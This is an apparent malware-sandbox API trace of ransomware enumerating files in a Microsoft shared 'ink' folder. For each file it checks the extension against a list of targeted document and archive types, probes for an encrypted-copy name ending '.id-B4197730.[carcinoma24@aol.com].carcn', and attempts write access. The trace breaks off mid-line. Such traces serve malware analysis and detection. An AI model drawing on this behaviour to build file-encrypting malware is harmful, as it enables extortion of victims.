lstrlenW (lpString=".docx") returned 5 [0163.980] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0163.980] lstrlenW (lpString=".pdf") returned 4 [0163.980] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0163.980] lstrlenW (lpString=".xls") returned 4 [0163.980] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0163.980] lstrlenW (lpString=".xlsx") returned 5 [0163.980] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0163.980] lstrlenW (lpString=".ppt") returned 4 [0163.980] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0163.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.980] lstrlenW (lpString=".zip") returned 4 [0163.980] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0163.980] lstrlenW (lpString=".rar") returned 4 [0163.981] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0163.981] lstrlenW (lpString=".bz2") returned 4 [0163.981] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0163.981] lstrlenW (lpString=".7z") returned 3 [0163.981] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0163.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.981] lstrlenW (lpString=".dbf") returned 4 [0163.981] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0163.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.981] lstrlenW (lpString=".1cd") returned 4 [0163.981] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0163.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0163.981] lstrlenW (lpString=".jpg") returned 4 [0163.981] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0163.981] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.981] lstrlenW (lpString="insertbase.xml") returned 14 [0163.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0163.997] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=903) returned 1 [0163.997] CloseHandle (hObject=0x2d4) returned 1 [0163.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0163.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0163.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.997] lstrlenW (lpString=".doc") returned 4 [0163.997] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.997] lstrlenW (lpString=".docx") returned 5 [0163.997] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.997] lstrlenW (lpString=".pdf") returned 4 [0163.997] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.997] lstrlenW (lpString=".xls") returned 4 [0163.997] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString=".xlsx") returned 5 [0163.998] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.998] lstrlenW (lpString=".ppt") returned 4 [0163.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.998] lstrlenW (lpString=".zip") returned 4 [0163.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.998] lstrlenW (lpString=".rar") returned 4 [0163.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString=".bz2") returned 4 [0163.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString=".7z") returned 3 [0163.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.998] lstrlenW (lpString=".dbf") returned 4 [0163.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.998] lstrlenW (lpString=".1cd") returned 4 [0163.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.998] lstrlenW (lpString=".jpg") returned 4 [0163.998] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.998] lstrlenW (lpString=".doc") returned 4 [0163.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString=".docx") returned 5 [0163.998] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0163.998] lstrlenW (lpString=".pdf") returned 4 [0163.998] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString=".xls") returned 4 [0163.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0163.998] lstrlenW (lpString=".xlsx") returned 5 [0163.998] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0163.999] lstrlenW (lpString=".ppt") returned 4 [0163.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0163.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.999] lstrlenW (lpString=".zip") returned 4 [0163.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0163.999] lstrlenW (lpString=".rar") returned 4 [0163.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0163.999] lstrlenW (lpString=".bz2") returned 4 [0163.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0163.999] lstrlenW (lpString=".7z") returned 3 [0163.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0163.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.999] lstrlenW (lpString=".dbf") returned 4 [0163.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0163.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.999] lstrlenW (lpString=".1cd") returned 4 [0163.999] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0163.999] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml") returned 86 [0163.999] lstrlenW (lpString=".jpg") returned 4 [0163.999] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0163.999] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0163.999] lstrlenW (lpString="ea.xml") returned 6 [0163.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0164.003] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=384) returned 1 [0164.003] CloseHandle (hObject=0x310) returned 1 [0164.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0164.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.004] lstrlenW (lpString=".doc") returned 4 [0164.004] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString=".docx") returned 5 [0164.004] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0164.004] lstrlenW (lpString=".pdf") returned 4 [0164.004] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString=".xls") returned 4 [0164.004] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString=".xlsx") returned 5 [0164.004] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0164.004] lstrlenW (lpString=".ppt") returned 4 [0164.004] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.004] lstrlenW (lpString=".zip") returned 4 [0164.004] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.004] lstrlenW (lpString=".rar") returned 4 [0164.004] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString=".bz2") returned 4 [0164.004] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString=".7z") returned 3 [0164.004] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.004] lstrlenW (lpString=".dbf") returned 4 [0164.004] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.004] lstrlenW (lpString=".1cd") returned 4 [0164.004] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.004] lstrlenW (lpString=".jpg") returned 4 [0164.004] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.005] lstrlenW (lpString=".doc") returned 4 [0164.005] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString=".docx") returned 5 [0164.005] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0164.005] lstrlenW (lpString=".pdf") returned 4 [0164.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString=".xls") returned 4 [0164.005] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString=".xlsx") returned 5 [0164.005] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0164.005] lstrlenW (lpString=".ppt") returned 4 [0164.005] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.005] lstrlenW (lpString=".zip") returned 4 [0164.005] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.005] lstrlenW (lpString=".rar") returned 4 [0164.005] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString=".bz2") returned 4 [0164.005] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString=".7z") returned 3 [0164.005] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.005] lstrlenW (lpString=".dbf") returned 4 [0164.005] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.005] lstrlenW (lpString=".1cd") returned 4 [0164.005] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0164.005] lstrlenW (lpString=".jpg") returned 4 [0164.005] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.006] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.006] lstrlenW (lpString="kor-kor.xml") returned 11 [0164.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0164.008] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=392) returned 1 [0164.008] CloseHandle (hObject=0x310) returned 1 [0164.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0164.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.008] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.008] lstrlenW (lpString=".doc") returned 4 [0164.008] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.008] lstrlenW (lpString=".docx") returned 5 [0164.008] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0164.008] lstrlenW (lpString=".pdf") returned 4 [0164.008] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.008] lstrlenW (lpString=".xls") returned 4 [0164.008] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.008] lstrlenW (lpString=".xlsx") returned 5 [0164.008] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0164.009] lstrlenW (lpString=".ppt") returned 4 [0164.009] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.009] lstrlenW (lpString=".zip") returned 4 [0164.009] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.009] lstrlenW (lpString=".rar") returned 4 [0164.009] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString=".bz2") returned 4 [0164.009] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString=".7z") returned 3 [0164.009] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.009] lstrlenW (lpString=".dbf") returned 4 [0164.009] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.009] lstrlenW (lpString=".1cd") returned 4 [0164.009] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.009] lstrlenW (lpString=".jpg") returned 4 [0164.009] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.009] lstrlenW (lpString=".doc") returned 4 [0164.009] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString=".docx") returned 5 [0164.009] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0164.009] lstrlenW (lpString=".pdf") returned 4 [0164.009] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString=".xls") returned 4 [0164.009] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString=".xlsx") returned 5 [0164.009] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0164.009] lstrlenW (lpString=".ppt") returned 4 [0164.009] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.010] lstrlenW (lpString=".zip") returned 4 [0164.010] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.010] lstrlenW (lpString=".rar") returned 4 [0164.010] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.010] lstrlenW (lpString=".bz2") returned 4 [0164.010] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.010] lstrlenW (lpString=".7z") returned 3 [0164.010] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.010] lstrlenW (lpString=".dbf") returned 4 [0164.010] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.010] lstrlenW (lpString=".1cd") returned 4 [0164.010] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83 [0164.010] lstrlenW (lpString=".jpg") returned 4 [0164.010] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.010] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.010] lstrlenW (lpString="base_altgr.xml") returned 14 [0164.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0164.320] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=3524) returned 1 [0164.320] CloseHandle (hObject=0x310) returned 1 [0164.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0164.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0164.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.321] lstrlenW (lpString=".doc") returned 4 [0164.321] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString=".docx") returned 5 [0164.321] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0164.321] lstrlenW (lpString=".pdf") returned 4 [0164.321] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString=".xls") returned 4 [0164.321] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString=".xlsx") returned 5 [0164.321] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0164.321] lstrlenW (lpString=".ppt") returned 4 [0164.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.321] lstrlenW (lpString=".zip") returned 4 [0164.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.321] lstrlenW (lpString=".rar") returned 4 [0164.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString=".bz2") returned 4 [0164.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString=".7z") returned 3 [0164.321] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.321] lstrlenW (lpString=".dbf") returned 4 [0164.321] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.321] lstrlenW (lpString=".1cd") returned 4 [0164.321] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.321] lstrlenW (lpString=".jpg") returned 4 [0164.321] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.322] lstrlenW (lpString=".doc") returned 4 [0164.322] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString=".docx") returned 5 [0164.322] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0164.322] lstrlenW (lpString=".pdf") returned 4 [0164.322] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString=".xls") returned 4 [0164.322] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString=".xlsx") returned 5 [0164.322] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0164.322] lstrlenW (lpString=".ppt") returned 4 [0164.322] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.322] lstrlenW (lpString=".zip") returned 4 [0164.322] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0164.322] lstrlenW (lpString=".rar") returned 4 [0164.322] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString=".bz2") returned 4 [0164.322] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString=".7z") returned 3 [0164.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0164.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.322] lstrlenW (lpString=".dbf") returned 4 [0164.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.322] lstrlenW (lpString=".1cd") returned 4 [0164.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0164.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0164.322] lstrlenW (lpString=".jpg") returned 4 [0164.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0164.323] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0164.323] lstrlenW (lpString="base_jpn.xml") returned 12 [0164.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft 